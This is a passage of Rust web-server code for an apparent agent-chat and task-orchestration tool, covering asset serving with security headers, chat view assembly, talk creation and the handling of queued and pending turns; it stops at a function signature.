8754 return Err(ApiError::bad_request(format!(
8755 "`{name}` is not a usable asset name"
8756 )));
8757 }
8758 blocking(move || {
8759 let id = resolve_question(&ui.questions, &id)?;
8760 let asset = ui
8761 .questions
8762 .panel_asset(&id, &name)
8763 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764 let Some(bytes) = asset else {
8765 return Err(ApiError::not_found(format!(
8766 "question {id} has no asset `{name}`"
8767 )));
8768 };
8769 Ok(panel_response(
8770 asset_content_type(&name),
8771 is_svg(&name),
8772 bytes,
8773 ))
8774 })
8775 .await
8776}
8777
8778fn asset_content_type(name: &str) -> &'static str {
8791 match extension(name).as_deref() {
8792 Some("png") => "image/png",
8793 Some("jpg" | "jpeg") => "image/jpeg",
8794 Some("gif") => "image/gif",
8795 Some("webp") => "image/webp",
8796 Some("svg") => "image/svg+xml",
8797 Some("css") => "text/css; charset=utf-8",
8798 Some("txt") => "text/plain; charset=utf-8",
8799 _ => "application/octet-stream",
8800 }
8801}
8802
8803fn is_svg(name: &str) -> bool {
8806 extension(name).as_deref() == Some("svg")
8807}
8808
8809fn extension(name: &str) -> Option<String> {
8811 name.rsplit_once('.')
8812 .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832 let mut res = (
8833 [
8834 (header::CONTENT_TYPE, content_type),
8835 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837 (header::REFERRER_POLICY, "no-referrer"),
8838 ],
8839 body,
8840 )
8841 .into_response();
8842 if download {
8843 res.headers_mut().insert(
8844 header::CONTENT_DISPOSITION,
8845 HeaderValue::from_static("attachment"),
8846 );
8847 }
8848 res
8849}
8850
8851#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858 question: String,
8859 target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864 #[serde(flatten)]
8865 talk: Talk,
8866 turn_bodies_md: Vec<Vec<md::Node>>,
8867 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870 merge_approvals: Vec<ChatApproval>,
8871 thinking: bool,
8879 context: talk::ContextUsage,
8883 operator_name: Option<String>,
8886 persona_name: Option<String>,
8888 persona_avatar: String,
8891 operator_avatar: String,
8893 magi_avatar: String,
8894}
8895
8896impl TalkView {
8897 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902 }
8903
8904 fn with_config(
8907 talk: Talk,
8908 thinking: bool,
8909 cfg: Option<&Config>,
8910 home: &FsPath,
8911 cache: &id_links::IndexCache,
8912 ) -> Self {
8913 let references = cache.for_talk(home, &talk);
8914 Self::with_references(talk, thinking, cfg, home, &references)
8915 }
8916
8917 fn with_references(
8918 mut talk: Talk,
8919 thinking: bool,
8920 cfg: Option<&Config>,
8921 home: &FsPath,
8922 references: &id_links::IdIndex,
8923 ) -> Self {
8924 let snapshot = talk.clone();
8926 for (index, turn) in talk.turns.iter_mut().enumerate() {
8927 let original = &snapshot.turns[index];
8928 if turn.messages.is_empty() {
8929 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930 turn.messages.push(talk::Message {
8931 sender: Some(talk::Sender::Magi),
8932 body: original.body.clone(),
8933 display: Some(display),
8934 attachments: original.attachments.clone(),
8935 reply: None,
8936 });
8937 }
8938 } else {
8939 for (i, message) in turn.messages.iter_mut().enumerate() {
8940 message.display =
8941 talk::notice_display(&snapshot, original, original.messages.get(i));
8942 if message.display.is_some() {
8943 message.sender = Some(talk::Sender::Magi);
8944 }
8945 }
8946 }
8947 }
8948 for message in &mut talk.pending_messages {
8949 if message.display.is_none()
8950 && (message.sender == Some(talk::Sender::Magi)
8951 || snapshot
8952 .completion_notices
8953 .iter()
8954 .any(|r| r.notice == message.body))
8955 {
8956 message.display = crate::prompt::legacy_notice_display(&message.body);
8957 if message.display.is_some() {
8958 message.sender = Some(talk::Sender::Magi);
8959 }
8960 }
8961 }
8962 if talk.pending_messages.is_empty()
8963 && snapshot
8964 .completion_notices
8965 .iter()
8966 .any(|r| r.notice == talk.pending)
8967 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8968 {
8969 talk.pending_messages.push(talk::Message {
8970 sender: Some(talk::Sender::Magi),
8971 display: Some(display),
8972 body: talk.pending.clone(),
8973 attachments: talk.pending_attachments.clone(),
8974 reply: None,
8975 });
8976 }
8977 let excerpts: Vec<Vec<Option<String>>> = talk
8978 .turns
8979 .iter()
8980 .map(|turn| {
8981 turn.messages
8982 .iter()
8983 .map(|m| {
8984 m.display
8985 .as_ref()
8986 .map(|d| d.facts.chars().take(240).collect())
8987 })
8988 .collect()
8989 })
8990 .collect();
8991 for turn in &mut talk.turns {
8992 let provenance = talk::sender(turn, None);
8993 turn.sender = Some(provenance);
8994 for message in &mut turn.messages {
8995 message.sender = Some(message.sender.unwrap_or(provenance));
8996 }
8997 }
8998 let senders: Vec<Vec<talk::Sender>> = talk
9000 .turns
9001 .iter()
9002 .map(|turn| {
9003 if turn.messages.is_empty() {
9004 vec![talk::sender(turn, None)]
9005 } else {
9006 turn.messages
9007 .iter()
9008 .map(|m| talk::sender(turn, Some(m)))
9009 .collect()
9010 }
9011 })
9012 .collect();
9013 for reply in talk
9014 .turns
9015 .iter_mut()
9016 .flat_map(|t| t.messages.iter_mut())
9017 .chain(talk.pending_messages.iter_mut())
9018 .filter_map(|m| m.reply.as_mut())
9019 {
9020 if let Some(Some(excerpt)) = excerpts
9021 .get(reply.target.turn)
9022 .and_then(|ms| ms.get(reply.target.message))
9023 {
9024 reply.excerpt = excerpt.clone();
9025 reply.sender = Some(talk::Sender::Magi);
9026 }
9027 if reply.sender.is_none() {
9028 reply.sender = senders
9029 .get(reply.target.turn)
9030 .and_then(|messages| messages.get(reply.target.message))
9031 .copied();
9032 }
9033 }
9034 let context = talk::context_usage(&talk, cfg);
9035 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9036 .turns
9037 .iter()
9038 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039 .collect();
9040 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041 .turns
9042 .iter()
9043 .map(|turn| {
9044 if turn.messages.is_empty() {
9045 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046 } else {
9047 turn.messages
9048 .iter()
9049 .map(|message| {
9050 notice_markdown(
9051 message.sender.unwrap_or(talk::Sender::Operator),
9052 &message.body,
9053 message.display.as_ref(),
9054 )
9055 })
9056 .collect()
9057 }
9058 })
9059 .collect();
9060 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061 .pending_messages
9062 .iter()
9063 .map(|message| {
9064 notice_markdown(
9065 message.sender.unwrap_or(talk::Sender::Operator),
9066 &message.body,
9067 message.display.as_ref(),
9068 )
9069 })
9070 .collect();
9071 for nodes in &mut turn_bodies_md {
9072 references.markdown(nodes);
9073 }
9074 for nodes in turn_messages_md
9075 .iter_mut()
9076 .flatten()
9077 .chain(pending_messages_md.iter_mut())
9078 .flatten()
9079 {
9080 references.markdown(nodes);
9081 }
9082 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083 let persona_name = persona::find(specs, &talk.persona)
9084 .filter(|p| !p.is_default())
9085 .map(|p| p.name);
9086 let mut avatar_persona = persona::find(specs, &talk.persona)
9087 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088 if avatar_persona.id != talk.persona
9090 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091 {
9092 avatar_persona.id.clone_from(&talk.persona);
9093 avatar_persona.icon = None;
9094 }
9095 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096 let approvals_store = ask::Questions::at(home.join("questions"));
9097 let merge_approvals = talk
9098 .notified
9099 .iter()
9100 .filter_map(|key| key.strip_prefix("question:"))
9101 .filter_map(|id| approvals_store.get(id).ok())
9102 .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103 .filter_map(|q| {
9104 Some(ChatApproval {
9105 question: q.id,
9106 target: q.merge_target?,
9107 })
9108 })
9109 .collect();
9110 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111 Self {
9112 turn_bodies_md,
9113 turn_messages_md,
9114 pending_messages_md,
9115 merge_approvals,
9116 thinking,
9117 context,
9118 operator_name,
9119 persona_name,
9120 persona_avatar,
9121 magi_avatar: magi_icon_url(home),
9122 operator_avatar: operator_icon_url(home),
9123 talk,
9124 }
9125 }
9126}
9127
9128fn notice_markdown(
9130 sender: talk::Sender,
9131 body: &str,
9132 display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134 if sender != talk::Sender::Magi {
9135 return None;
9136 }
9137 let text = if let Some(display) = display {
9138 display.facts.as_str()
9139 } else {
9140 if crate::prompt::is_completion_notice(body)
9143 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144 {
9145 return None;
9146 }
9147 body.strip_prefix("magi: ").unwrap_or(body)
9148 };
9149 Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158 #[serde(flatten)]
9159 view: TalkView,
9160 tasks: Vec<TaskView>,
9161 task_progress: TalkTaskProgress,
9162 goal_link: Option<TalkGoalLink>,
9163 goal_link_for: Timestamp,
9164 roster: Vec<RosterEntry>,
9167 personas: Vec<PersonaEntry>,
9170}
9171
9172#[derive(Debug, Serialize)]
9174struct TalkTaskProgress {
9175 state: &'static str,
9176 total: usize,
9177 done: usize,
9178 counts: std::collections::BTreeMap<&'static str, usize>,
9179 unfinished_ids: Vec<String>,
9180}
9181
9182fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9183 let mut counts = std::collections::BTreeMap::from([
9184 ("queued", 0),
9185 ("running", 0),
9186 ("done", 0),
9187 ("failed", 0),
9188 ("held", 0),
9189 ("blocked", 0),
9190 ("parked", 0),
9191 ]);
9192 let mut unfinished_ids = Vec::new();
9193 for task in tasks {
9194 *counts.entry(task.status.as_str()).or_default() += 1;
9195 if task.status != TaskStatus::Done {
9196 unfinished_ids.push(task.id.clone());
9197 }
9198 }
9199 TalkTaskProgress {
9200 state: if tasks.is_empty() {
9201 "none"
9202 } else if unfinished_ids.is_empty() {
9203 "complete"
9204 } else {
9205 "incomplete"
9206 },
9207 total: tasks.len(),
9208 done: tasks.len() - unfinished_ids.len(),
9209 counts,
9210 unfinished_ids,
9211 }
9212}
9213
9214#[derive(Debug, Serialize)]
9217struct TalkGoalLink {
9218 goal: String,
9219 kind: &'static str,
9220 id: String,
9221}
9222
9223fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9224 let goal = crate::chat_goal::Goal::selected(talk)?;
9225 let repo = goal.effective_repo(&talk.repo);
9226 let valid_run = |id: &str| {
9227 plain_record_id(id)
9228 && read_run(runs, id).is_ok_and(|state| {
9229 state.id == id
9230 && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9231 })
9232 };
9233 for id in goal.tasks.iter().rev() {
9234 let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9235 continue;
9236 };
9237 if let Some(run) = task.execution_runs().last()
9240 && valid_run(run)
9241 {
9242 return Some(TalkGoalLink {
9243 goal: goal.id.clone(),
9244 kind: "run",
9245 id: run.clone(),
9246 });
9247 }
9248 return Some(TalkGoalLink {
9249 goal: goal.id.clone(),
9250 kind: "task",
9251 id: task.id,
9252 });
9253 }
9254 for id in goal.runs.iter().rev() {
9255 if valid_run(id) {
9256 return Some(TalkGoalLink {
9257 goal: goal.id.clone(),
9258 kind: "run",
9259 id: id.clone(),
9260 });
9261 }
9262 }
9263 None
9264}
9265
9266#[derive(Debug, Serialize)]
9268struct PersonaEntry {
9269 id: String,
9270 name: String,
9271 avatar: String,
9273}
9274
9275#[derive(Debug, Serialize)]
9277struct RosterEntry {
9278 id: String,
9279 kind: AgentKind,
9280 runnable: bool,
9282}
9283
9284async fn talks_list(
9286 State(ui): State<Arc<Ui>>,
9287 Query(q): Query<ListQuery>,
9288 headers: header::HeaderMap,
9289) -> ApiResult<Json<Vec<TalkListView>>> {
9290 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9291 let limit = q.limit.unwrap_or(50).min(50);
9292 let ids = if let Some(ids) = q.ids {
9293 ids.split(',')
9294 .filter(|id| plain_record_id(id))
9295 .take(limit)
9296 .map(str::to_owned)
9297 .collect()
9298 } else {
9299 page_ids(&ui, true, PageQuery::default())?
9300 .0
9301 .into_iter()
9302 .take(limit.min(STORE_PAGE_SIZE))
9303 .collect()
9304 };
9305 Ok(Json(talk_rows(&ui, ids, &headers)))
9306 })
9307 .await
9308}
9309
9310#[derive(Debug, Default, Deserialize)]
9315#[serde(default)]
9316struct NewTalk {
9317 agent: Option<String>,
9318 repo: Option<PathBuf>,
9319 preferred_agent: Option<serde_json::Value>,
9323 persona: Option<serde_json::Value>,
9324 implementers: Option<serde_json::Value>,
9325}
9326
9327async fn talk_post(
9330 State(ui): State<Arc<Ui>>,
9331 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9332) -> ApiResult<impl IntoResponse> {
9333 let body = match body {
9337 Ok(Json(body)) => body,
9338 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9339 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9340 };
9341 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9342 let cfg = config_for(&repo).await?;
9343 let view = blocking(move || {
9344 let preferred = talk::Preferred {
9345 agent: body
9346 .preferred_agent
9347 .as_ref()
9348 .and_then(|v| v.as_str())
9349 .map(str::to_owned),
9350 persona: body
9351 .persona
9352 .as_ref()
9353 .and_then(|v| v.as_str())
9354 .map(str::to_owned),
9355 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9356 };
9357 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9358 let thinking = ui.is_thinking(&talk.id);
9359 Ok(TalkView::new(talk, thinking, &ui))
9360 })
9361 .await?;
9362 Ok((StatusCode::CREATED, Json(view)))
9363}
9364
9365async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9367 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9369 let id = resolve_talk(&ui.talks, &id)?;
9370 let talk = ui.talks.get(&id)?;
9371 let thinking = ui.is_thinking_observed(&id);
9372 Ok(Json(TalkView::with_references(
9375 talk,
9376 thinking,
9377 None,
9378 &ui.home,
9379 &id_links::IdIndex::default(),
9380 )))
9381 })
9382 .await
9383}
9384
9385async fn talk_sections(
9386 State(ui): State<Arc<Ui>>,
9387 Path(id): Path<String>,
9388) -> ApiResult<Json<serde_json::Value>> {
9389 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9390 let id = resolve_talk(&ui.talks, &id)?;
9391 let talk = ui.talks.get(&id)?;
9392 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9393 let task_progress = talk_task_progress(&tasks);
9394 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9395 let tasks: Vec<_> = tasks
9396 .into_iter()
9397 .map(|task| {
9398 serde_json::json!({
9399 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9400 })
9401 })
9402 .collect();
9403 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9404 let roster: Vec<_> = cfg
9405 .as_ref()
9406 .map(|cfg| {
9407 cfg.agents
9408 .iter()
9409 .map(|a| RosterEntry {
9410 id: a.id.clone(),
9411 kind: a.kind,
9412 runnable: agent::installed(a),
9413 })
9414 .collect()
9415 })
9416 .unwrap_or_default();
9417 let specs = cfg
9418 .as_ref()
9419 .map(|cfg| cfg.talk.personas.clone())
9420 .unwrap_or_default();
9421 let personas: Vec<_> = persona::catalog(&specs)
9422 .into_iter()
9423 .map(|p| PersonaEntry {
9424 avatar: avatar_url(&ui.home, &talk.id, &p),
9425 id: p.id,
9426 name: p.name,
9427 })
9428 .collect();
9429 let active_persona = persona::find(&specs, &talk.persona)
9430 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9431 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9432 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9433 Ok(Json(serde_json::json!({
9434 "tasks": tasks, "task_progress": task_progress,
9435 "goal_link": goal_link, "goal_link_for": talk.updated_at,
9436 "roster": roster, "personas": personas,
9437 "context": talk::context_usage(&talk, cfg.as_ref()),
9438 "context_for": talk.updated_at,
9439 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9440 "persona_name": persona_name,
9441 "persona_avatar": persona_avatar,
9442 })))
9443 })
9444 .await
9445}
9446
9447async fn talk_detail(
9449 State(ui): State<Arc<Ui>>,
9450 Path(id): Path<String>,
9451) -> ApiResult<Json<TalkDetailView>> {
9452 blocking(move || {
9453 let id = resolve_talk(&ui.talks, &id)?;
9454 let talk = ui.talks.get(&id)?;
9455 let thinking = ui.is_thinking_observed(&talk.id);
9456 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9457 let task_progress = talk_task_progress(&tasks);
9458 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9459 let goal_link_for = talk.updated_at;
9460 let tasks = tasks.into_iter().map(TaskView::from).collect();
9461 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9462 let roster = cfg
9463 .as_ref()
9464 .map(|cfg| {
9465 cfg.agents
9466 .iter()
9467 .map(|a| RosterEntry {
9468 id: a.id.clone(),
9469 kind: a.kind,
9470 runnable: agent::installed(a),
9471 })
9472 .collect()
9473 })
9474 .unwrap_or_default();
9475 let specs = cfg
9476 .as_ref()
9477 .map(|cfg| cfg.talk.personas.clone())
9478 .unwrap_or_default();
9479 let personas = persona::catalog(&specs)
9480 .into_iter()
9481 .map(|p| PersonaEntry {
9482 avatar: avatar_url(&ui.home, &talk.id, &p),
9483 id: p.id,
9484 name: p.name,
9485 })
9486 .collect();
9487 Ok(Json(TalkDetailView {
9488 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9489 tasks,
9490 task_progress,
9491 goal_link,
9492 goal_link_for,
9493 roster,
9494 personas,
9495 }))
9496 })
9497 .await
9498}
9499
9500#[derive(Debug, Default, Deserialize)]
9506#[serde(default, deny_unknown_fields)]
9507struct NewTalkTurn {
9508 reply_to: Option<talk::ReplyTarget>,
9509 text: String,
9510 attachments: Vec<String>,
9511}
9512
9513#[derive(Debug, Deserialize)]
9514#[serde(deny_unknown_fields)]
9515struct EditTalkPending {
9516 #[serde(default)]
9517 message: Option<usize>,
9518 text: String,
9519 expected_text: String,
9520 expected_attachments: Vec<String>,
9521}
9522
9523#[derive(Debug, Deserialize)]
9524#[serde(deny_unknown_fields)]
9525struct ClearTalkPending {
9526 expected_text: String,
9527 expected_attachments: Vec<String>,
9528}
9529
9530async fn talk_say(
9542 State(ui): State<Arc<Ui>>,
9543 Path(id): Path<String>,
9544 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9545) -> ApiResult<(StatusCode, Json<TalkView>)> {
9546 let admission = ui.begin_admission()?;
9547 admitted(admission, async move {
9548 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9549 if body.text.trim().is_empty() && body.attachments.is_empty() {
9550 return Err(ApiError::bad_request("say something"));
9551 }
9552
9553 let id = {
9554 let ui = Arc::clone(&ui);
9555 let asked = id.clone();
9556 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9557 };
9558 {
9562 let ui = Arc::clone(&ui);
9563 let id = id.clone();
9564 blocking(move || {
9565 let talk = ui.talks.get(&id)?;
9566 if !talk.status.open() {
9567 return Err(ApiError::conflict(format!(
9568 "talk {} is {} and takes no more turns",
9569 talk.short(),
9570 talk.status.as_str()
9571 )));
9572 }
9573 Ok(())
9574 })
9575 .await?;
9576 }
9577
9578 let attachments = {
9583 let ui = Arc::clone(&ui);
9584 let id = id.clone();
9585 let ids = body.attachments.clone();
9586 blocking(move || {
9587 ids.into_iter()
9588 .map(|att_id| {
9589 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9590 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9591 })
9592 })
9593 .collect::<ApiResult<Vec<talk::Attachment>>>()
9594 })
9595 .await?
9596 };
9597 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9598 .await.map_err(ApiError::from)?;
9599
9600 let start = {
9605 let ui = Arc::clone(&ui);
9606 let id = id.clone();
9607 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9608 };
9609 let turn_guard = match start {
9610 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9611 TalkTurnStart::Pending => {
9612 return Err(ApiError::conflict(
9613 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9614 ));
9615 }
9616 TalkTurnStart::Foreign => {
9617 return Err(ApiError::conflict(
9618 "a turn is already running in another process; try again when it has finished",
9619 ));
9620 }
9621 TalkTurnStart::Busy => {
9622 let (tx, rx) = tokio::sync::oneshot::channel();
9638 tokio::spawn({
9639 let ui = Arc::clone(&ui);
9640 let id = id.clone();
9641 let said = body.text.clone();
9642 let reply_to = body.reply_to.clone();
9643 async move {
9644 let written = blocking({
9645 let ui = Arc::clone(&ui);
9646 let id = id.clone();
9647 move || {
9648 let mut talk = ui.talks.get(&id)?;
9649 #[cfg(test)]
9654 if let Some(gate) = ui
9655 .busy_queue_gate
9656 .lock()
9657 .unwrap_or_else(PoisonError::into_inner)
9658 .take()
9659 {
9660 let _ = gate.reached.send(());
9661 let _ = gate.release.recv();
9662 }
9663 if let Err(error) = talk::queue_reply(
9664 &mut talk,
9665 &ui.talks,
9666 &said,
9667 attachments,
9668 reply_to,
9669 ) {
9670 if let Ok(fresh) = ui.talks.get(&id) {
9671 if !fresh.status.open() {
9672 return Err(ApiError::conflict(format!(
9673 "talk {} is {} and takes no more turns",
9674 fresh.short(),
9675 fresh.status.as_str()
9676 )));
9677 }
9678 }
9679 return Err(
9680 if error.to_string().contains("invalid reply target") {
9681 ApiError::bad_request("invalid reply target")
9682 } else {
9683 ApiError::from(error)
9684 },
9685 );
9686 }
9687 let claim = match ui.begin_queued_talk_turn(&id)? {
9698 Some(turn_guard) => {
9699 let (cfg, _) = Config::discover(&talk.repo, None)?;
9700 Some((talk.clone(), cfg, turn_guard))
9701 }
9702 None => None,
9703 };
9704 let thinking = ui.is_thinking(&id);
9705 Ok((TalkView::new(talk, thinking, &ui), claim))
9706 }
9707 })
9708 .await;
9709 #[cfg(not(test))]
9710 {
9711 match written {
9712 Ok((view, reclaimed)) => {
9713 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9714 drop(reclaimed);
9715 match launched {
9716 Ok(_) => { let _ = tx.send(Ok(view)); }
9717 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9718 }
9719 }
9720 Err(error) => { let _ = tx.send(Err(error)); }
9721 }
9722 }
9723 #[cfg(test)]
9724 {
9725 let (view, reclaimed) = match written {
9726 Ok(pair) => pair,
9727 Err(e) => {
9728 let _ = tx.send(Err(e));
9733 return;
9734 }
9735 };
9736 let _ = tx.send(Ok(view));
9739 if let Some((talk, cfg, turn_guard)) = reclaimed {
9740 let talks = ui.talks.clone();
9741 drain_loop(talk, talks, cfg, id, turn_guard).await;
9742 }
9743 }
9744 }
9745 });
9746 let view = rx
9747 .await
9748 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9749 return Ok((StatusCode::ACCEPTED, Json(view)));
9750 }
9751 };
9752
9753 let (talk, cfg) = {
9754 let ui = Arc::clone(&ui);
9755 let id = id.clone();
9756 blocking(move || {
9757 let talk = ui.talks.get(&id)?;
9758 let (cfg, _) = Config::discover(&talk.repo, None)?;
9759 Ok((talk, cfg))
9760 })
9761 .await?
9762 };
9763
9764 let talks = ui.talks.clone();
9765 let (tx, rx) = tokio::sync::oneshot::channel();
9780 tokio::spawn({
9781 #[cfg(test)]
9782 let ui = Arc::clone(&ui);
9783 let talks = talks.clone();
9784 let id = id.clone();
9785 let said = body.text.clone();
9786 let reply_to = body.reply_to.clone();
9787 let mut talk = talk.clone();
9788 async move {
9789 let recorded = blocking({
9790 let talks = talks.clone();
9791 move || {
9792 if let Err(error) =
9793 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9794 {
9795 if let Ok(fresh) = talks.get(&talk.id) {
9796 if !fresh.status.open() {
9797 return Err(ApiError::conflict(format!(
9798 "talk {} is {} and takes no more turns",
9799 fresh.short(),
9800 fresh.status.as_str()
9801 )));
9802 }
9803 }
9804 return Err(if error.to_string().contains("invalid reply target") {
9805 ApiError::bad_request("invalid reply target")
9806 } else {
9807 ApiError::from(error)
9808 });
9809 }
9810 Ok((said.trim().to_owned(), talk))
9816 }
9817 })
9818 .await;
9819 let (text, talk) = match recorded {
9820 Ok(pair) => pair,
9821 Err(e) => {
9822 let _ = tx.send(Err(e));
9826 return;
9827 }
9828 };
9829 #[cfg(not(test))]
9830 {
9831 let _ = (&cfg, &text);
9832 let result = crate::chat_worker::spawn_recorded_turn(
9836 &talks, &id, talk.turns.len() - 1,
9837 ).await;
9838 drop(turn_guard);
9839 match result {
9840 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9841 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9842 }
9843 }
9844 #[cfg(test)]
9845 {
9846 let queued = talk.clone();
9847 let mut talk = talk;
9848 let thinking = ui.is_thinking(&id);
9849 let _ = tx.send(Ok((queued, thinking)));
9852
9853 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9854 tracing::warn!("talk {id} turn failed: {e:#}");
9858 }
9859 drain_loop(talk, talks, cfg, id, turn_guard).await;
9862 }
9863 }
9864 });
9865
9866 let (queued, thinking) = rx
9867 .await
9868 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9869
9870 Ok((
9872 StatusCode::ACCEPTED,
9873 Json(TalkView::new(queued, thinking, &ui)),
9874 ))
9875 }).await
9876}
9877
9878async fn talk_pending_resume(
9882 State(ui): State<Arc<Ui>>,
9883 Path(id): Path<String>,
9884) -> ApiResult<(StatusCode, Json<TalkView>)> {
9885 let admission = ui.begin_admission()?;
9886 admitted(admission, async move {
9887 let id = {
9888 let ui = Arc::clone(&ui);
9889 let asked = id.clone();
9890 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9891 };
9892 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9893 .await
9894 .map_err(ApiError::from)?;
9895 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9896 return Err(ApiError::conflict(
9897 "a talk turn is already running; the queued draft will be handled by it",
9898 ));
9899 };
9900 let (talk, cfg) = {
9901 let ui = Arc::clone(&ui);
9902 let id = id.clone();
9903 blocking(move || {
9904 let talk = ui.talks.get(&id)?;
9905 if !talk.status.open() {
9906 return Err(ApiError::conflict(format!(
9907 "talk {} is {} and takes no more turns",
9908 talk.short(),
9909 talk.status.as_str()
9910 )));
9911 }
9912 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9913 return Err(ApiError::conflict("there is no queued draft to resume"));
9914 }
9915 let (cfg, _) = Config::discover(&talk.repo, None)?;
9916 Ok((talk, cfg))
9917 })
9918 .await?
9919 };
9920 let view = TalkView::new(talk.clone(), true, &ui);
9921 let talks = ui.talks.clone();
9922 #[cfg(not(test))]
9923 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9924 #[cfg(test)]
9925 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9926 Ok((StatusCode::ACCEPTED, Json(view)))
9927 })
9928 .await
9929}
9930
9931#[cfg(not(test))]
9934async fn detach_talk_turn(
9935 _talk: Talk,
9936 talks: Talks,
9937 _cfg: Config,
9938 id: String,
9939 turn: TalkTurnGuard,
9940) -> ApiResult<()> {
9941 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9942 drop(turn);
9943 launched.map(|_| ()).map_err(ApiError::from)
9944}
9945
9946#[cfg(test)]
9947async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9948 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9949}
9950
9951async fn settle_settings_turn(
9955 talk: Talk,
9956 talks: Talks,
9957 cfg: Config,
9958 id: String,
9959 turn: TalkTurnGuard,
9960 observed: u64,
9961) -> bool {
9962 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9963 let turns = Arc::clone(&turn.turns);
9964 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9965 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9966 turn.release(&mut live);
9968 return false;
9969 }
9970 }
9971 let (started, settled) = tokio::sync::oneshot::channel();
9972 tokio::spawn(drain_loop_started(
9973 talk,
9974 talks,
9975 cfg,
9976 id,
9977 turn,
9978 Some(started),
9979 ));
9980 settled.await.unwrap_or(false)
9981}
9982
9983#[cfg(not(test))]
9984async fn drain_loop_started(
9985 talk: Talk,
9986 talks: Talks,
9987 _cfg: Config,
9988 id: String,
9989 turn: TalkTurnGuard,
9990 started: Option<tokio::sync::oneshot::Sender<bool>>,
9991) {
